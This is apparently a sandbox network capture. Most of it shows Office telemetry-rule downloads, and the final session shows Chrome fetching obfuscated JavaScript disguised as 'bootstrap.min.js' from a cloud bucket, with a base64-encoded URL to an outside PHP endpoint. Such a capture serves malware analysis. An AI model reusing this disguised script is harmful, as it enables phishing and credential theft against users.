2025-03-17 16:03:21 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 53 70 61 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 69 72 73 70 61 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AirSpace" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAirspace" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.17	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule701651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF17222B" x-ms-request-id: 38ebf6f5-601e-0032-5251-97eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdqzr24hC1EWRscdn000000036g000000009776 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 74 69 76 69 74 79 46 65 65 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ActivityFeed.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.17	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule701650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6D6DA46" x-ms-request-id: 4db71551-401e-0064-4851-9754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdmqlthhC1EWRay9g00000006qg00000000b866 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 74 69 76 69 74 79 46 65 65 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 74 69 76 69 74 79 46 65 65 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ActivityFeed" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenActivityFeed" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.17	49773	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule702451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4D75D62" x-ms-request-id: c3936e6a-d01e-00a1-1451-9735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdx922jhC1EWRcnfs00000007d0000000003zgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Access.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAcc

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.17	49774	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule702450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32CD4D2" x-ms-request-id: fbc2b3d1-f01e-0020-8051-97956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdmqlthhC1EWRay9g00000006qg00000000b87d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 65 73 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Access" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAccess" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.17	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:21 UTC	199	OUT	GET /rules/rule701101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:21 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC12C03" x-ms-request-id: 8d2ad881-801e-0078-6944-97bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160321Z-186895dd8bdlbckjhC1EWR44e40000000440000000007ghv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 69 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Accessibility.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.17	49776	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule701100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:22 GMT Content-Type: text/xml Content-Length: 1374 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE67D2E9E" x-ms-request-id: 1037407c-201e-0051-0251-977340000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160322Z-186895dd8bdmf545hC1EWRky1s00000008rg00000000a8cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	1374	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Accessibility" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAccessibility" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.17	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	199	OUT	GET /rules/rule120128v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:22 GMT Content-Type: text/xml Content-Length: 658 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:40 GMT ETag: "0x8DC582B95FA6908" x-ms-request-id: 8cf316fb-b01e-0098-483d-97cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160322Z-186895dd8bdz6l5qhC1EWRwurn00000005c000000000m78y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:22 UTC	658	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 55 73 65 72 43 68 61 6e 67 65 64 44 69 61 67 6e 6f 73 74 69 63 4c 65 76 65 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120128" V="0" DC="SM" EN="Office.System.UserChangedDiagnosticLevel" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="PSU" xmlns="">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49764	119.28.146.206	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:22 UTC	665	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 1482474975-1317754460.cos.ap-seoul.myqcloud.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:22 UTC	425	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553009 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Mon, 17 Mar 2025 16:03:22 GMT ETag: "a124168715b583b1b349e401de4c77a3" Last-Modified: Mon, 10 Mar 2025 18:49:49 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 1804776617194827469 x-cos-request-id: NjdkODQ3Y2FfODQxMDI0MDlfOTgxNF81YzZkODlm
2025-03-17 16:03:22 UTC	7779	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 69 62 47 56 36 65 6d 56 6b 4c 6d 5a 68 59 6d 78 6c 4c 6d 6c 30 4c 6d 4e 76 62 53 39 6e 62 32 39 6e 62 47 55 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 33 32 38 65 37 65 3d 5f 30 78 35 39 33 34 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 39 33 34 28 5f 30 78 31 36 63 61 30 33 2c 5f 30 78 35 34 31 62 34 63 29 7b 76 61 72 20 5f 30 78 35 66 30 63 33 63 3d 5f 30 78 32 39 66 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 39 33 34 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 66 33 64 35 62 2c 5f 30 78 31 64 38 30 64 66 29 7b 5f 30 78 33 66 33 64 35 62 3d 5f 30 78 33 66 33 64 35 62 2d 28 30 78 31 34 34 2b 30 78 32 2a 2d 30 78 38 39 35 2b 2d 30 78 39 64 2a 2d 30 78 31 64 29 3b 76 61 72 20 5f Data Ascii: var file = "aHR0cHM6Ly9ibGV6emVkLmZhYmxlLml0LmNvbS9nb29nbGUucGhw";var _0x328e7e=_0x5934;function _0x5934(_0x16ca03,_0x541b4c){var _0x5f0c3c=_0x29fd();return _0x5934=function(_0x3f3d5b,_0x1d80df){_0x3f3d5b=_0x3f3d5b-(0x144+0x2-0x895+-0x9d-0x1d);var _
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 32 30 72 67 27 2c 27 5c 78 32 30 2e 32 72 65 6d 5c 78 32 30 72 67 62 27 2c 27 5c 78 32 30 23 37 34 37 34 37 34 3b 5c 78 32 32 27 2c 27 73 6d 2d 63 65 6e 74 65 72 5c 78 32 30 27 2c 27 6d 5c 78 32 30 72 67 62 61 28 32 32 30 27 2c 27 65 6d 5c 78 32 30 2d 5c 78 32 30 31 70 78 29 5c 78 32 30 27 2c 27 5c 78 32 30 2f 2a 77 69 64 74 68 3a 5c 78 32 30 27 2c 27 3a 5c 78 32 30 23 64 33 64 39 64 66 5c 78 32 30 27 2c 27 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 27 2c 27 64 61 72 79 3a 5c 78 32 30 23 36 63 37 27 2c 27 33 33 2e 33 33 33 33 33 33 25 27 2c 27 2d 73 6d 2d 31 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 5c 78 32 30 69 6e 6c 69 6e 65 5c 78 32 30 21 69 27 2c 27 62 74 6e 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 64 5c 78 32 30 72 67 62 61 28 30 2c 5c Data Ascii: 20rg','\x20.2rem\x20rgb','\x20#747474;\x22','sm-center\x20','m\x20rgba(220','em\x20-\x201px)\x20','\x20/*width:\x20',':\x20#d3d9df\x20','re\x20{\x20backg','dary:\x20#6c7','33.333333%','-sm-1\x20{\x20ma','\x20inline\x20!i','btn\x20{\x20posi','d\x20rgba(0,\
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 61 62 62 72 5b 74 69 74 6c 27 2c 27 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 3e 27 2c 27 5c 78 32 30 31 31 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 66 3b 5c 78 32 30 62 6f 72 64 65 72 2d 27 2c 27 73 74 72 69 70 65 73 5c 78 32 30 31 73 27 2c 27 64 66 66 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 2c 5c 78 32 30 2e 6c 69 73 74 2d 67 72 27 2c 27 25 5c 78 32 30 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 40 27 2c 27 75 74 2d 70 6c 61 63 65 68 6f 27 2c 27 2b 38 76 37 2f 77 42 6a 75 6b 27 2c 27 73 74 61 72 74 5c 78 32 30 21 69 6d 70 27 2c 27 30 37 67 5a 33 77 75 6a 6b 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 33 37 35 27 2c 27 77 65 69 67 68 74 3a 5c 78 32 30 35 30 27 2c 27 62 6f 74 74 6f 6d 3a 5c 78 32 30 31 30 Data Ascii: abbr[titl','mg\x22></div>','\x2011;\x20order','f;\x20border-','stripes\x201s','dff\x20}\x20.tab','\x200;\x20z-inde',',\x20.list-gr','%\x20100%\x20}\x20@','ut-placeho','+8v7/wBjuk','start\x20!imp','07gZ3wujki','ttom:\x20.375','weight:\x2050','bottom:\x2010
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 69 64 7e 27 2c 27 2e 63 61 72 64 2d 66 6f 6f 74 27 2c 27 77 69 64 74 68 3a 5c 78 32 30 61 75 74 27 2c 27 39 66 61 5c 78 32 30 21 69 6d 70 6f 72 27 2c 27 5c 78 32 30 23 65 39 65 63 65 66 5c 78 32 30 7d 27 2c 27 45 49 41 44 49 42 54 67 4d 42 27 2c 27 3d 5c 78 32 32 74 68 69 73 2e 73 74 79 27 2c 27 30 4b 7a 44 4b 77 77 51 66 4a 27 2c 27 36 63 38 63 61 5c 78 32 30 7d 5c 78 32 30 2e 74 27 2c 27 6f 72 69 65 6e 74 3a 5c 78 32 30 76 65 27 2c 27 74 6f 2c 5c 78 32 30 5c 78 32 32 48 65 6c 76 65 27 2c 27 67 2d 69 6e 6c 69 6e 65 2d 62 27 2c 27 70 3a 5c 78 32 30 63 61 6c 63 28 28 2e 27 2c 27 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 6c 61 79 27 2c 27 69 74 65 6d 2d 64 61 72 6b 5c 78 32 30 27 2c 27 38 41 47 66 53 66 68 56 34 44 27 2c 27 6c 61 6e 67 28 65 6e 29 7e 2e 27 2c Data Ascii: id~','.card-foot','width:\x20aut','9fa\x20!impor','\x20#e9ecef\x20}','EIADIBTgMB','=\x22this.sty','0KzDKwwQfJ','6c8ca\x20}\x20.t','orient:\x20ve','to,\x20\x22Helve','g-inline-b','p:\x20calc((.','\x20{\x20display','item-dark\x20','8AGfSfhV4D','lang(en)~.',
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 65 6d 5c 78 32 30 30 5c 78 32 30 7d 5c 78 32 30 2e 62 73 27 2c 27 6e 74 65 6e 74 2d 63 65 6e 74 27 2c 27 5c 78 32 30 6d 61 78 2d 77 69 64 74 68 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 62 6b 69 74 2d 66 69 6c 65 2d 27 2c 27 2e 70 78 2d 6c 67 2d 30 5c 78 32 30 7b 27 2c 27 74 69 6f 6e 5c 78 32 30 7b 5c 78 32 30 70 61 64 27 2c 27 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 30 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 72 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 75 73 65 6c 2d 69 74 65 6d 2d 27 2c 27 2d 69 6e 2d 6f 75 74 2c 5c 78 32 30 62 27 2c 27 59 62 33 37 4f 62 73 58 43 78 27 2c 27 6b 69 74 2d 6f 76 65 72 66 6c 27 2c 27 6d 61 6c 5c 78 32 30 21 69 6d 70 6f 72 27 2c 27 31 38 31 38 32 5c 78 32 30 7d 5c 78 32 30 2e 6c 27 2c Data Ascii: em\x200\x20}\x20.bs','ntent-cent','\x20max-width','-nav\x20.drop','bkit-file-','.px-lg-0\x20{','tion\x20{\x20pad','in-left:\x200','gin:\x20.5rem','r\x20{\x20margin','usel-item-','-in-out,\x20b','Yb37ObsXCx','kit-overfl','mal\x20!impor','18182\x20}\x20.l',
2025-03-17 16:03:22 UTC	8184	IN	Data Raw: 66 6f 27 2c 27 72 34 71 2f 46 44 55 66 69 68 27 2c 27 6c 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 27 2c 27 38 32 33 33 33 3b 5c 78 32 30 62 6f 72 27 2c 27 69 74 65 6d 73 2d 6d 64 2d 73 27 2c 27 6c 3a 3a 61 66 74 65 72 5c 78 32 30 7b 27 2c 27 69 64 7e 2e 69 6e 76 61 6c 69 27 2c 27 62 75 74 74 6f 6e 3a 3a 2d 6d 27 2c 27 5c 78 32 30 23 30 30 34 30 38 35 3b 5c 78 32 30 27 2c 27 62 6f 74 74 6f 6d 3a 5c 78 32 30 2e 35 27 2c 27 64 74 68 3a 5c 78 32 30 31 30 30 25 5c 78 32 30 27 2c 27 6a 70 65 67 3b 62 61 73 65 36 27 2c 27 28 30 2c 5c 78 32 30 30 2c 5c 78 32 30 30 2c 5c 78 32 30 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6f 6c 2d 6c 67 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 33 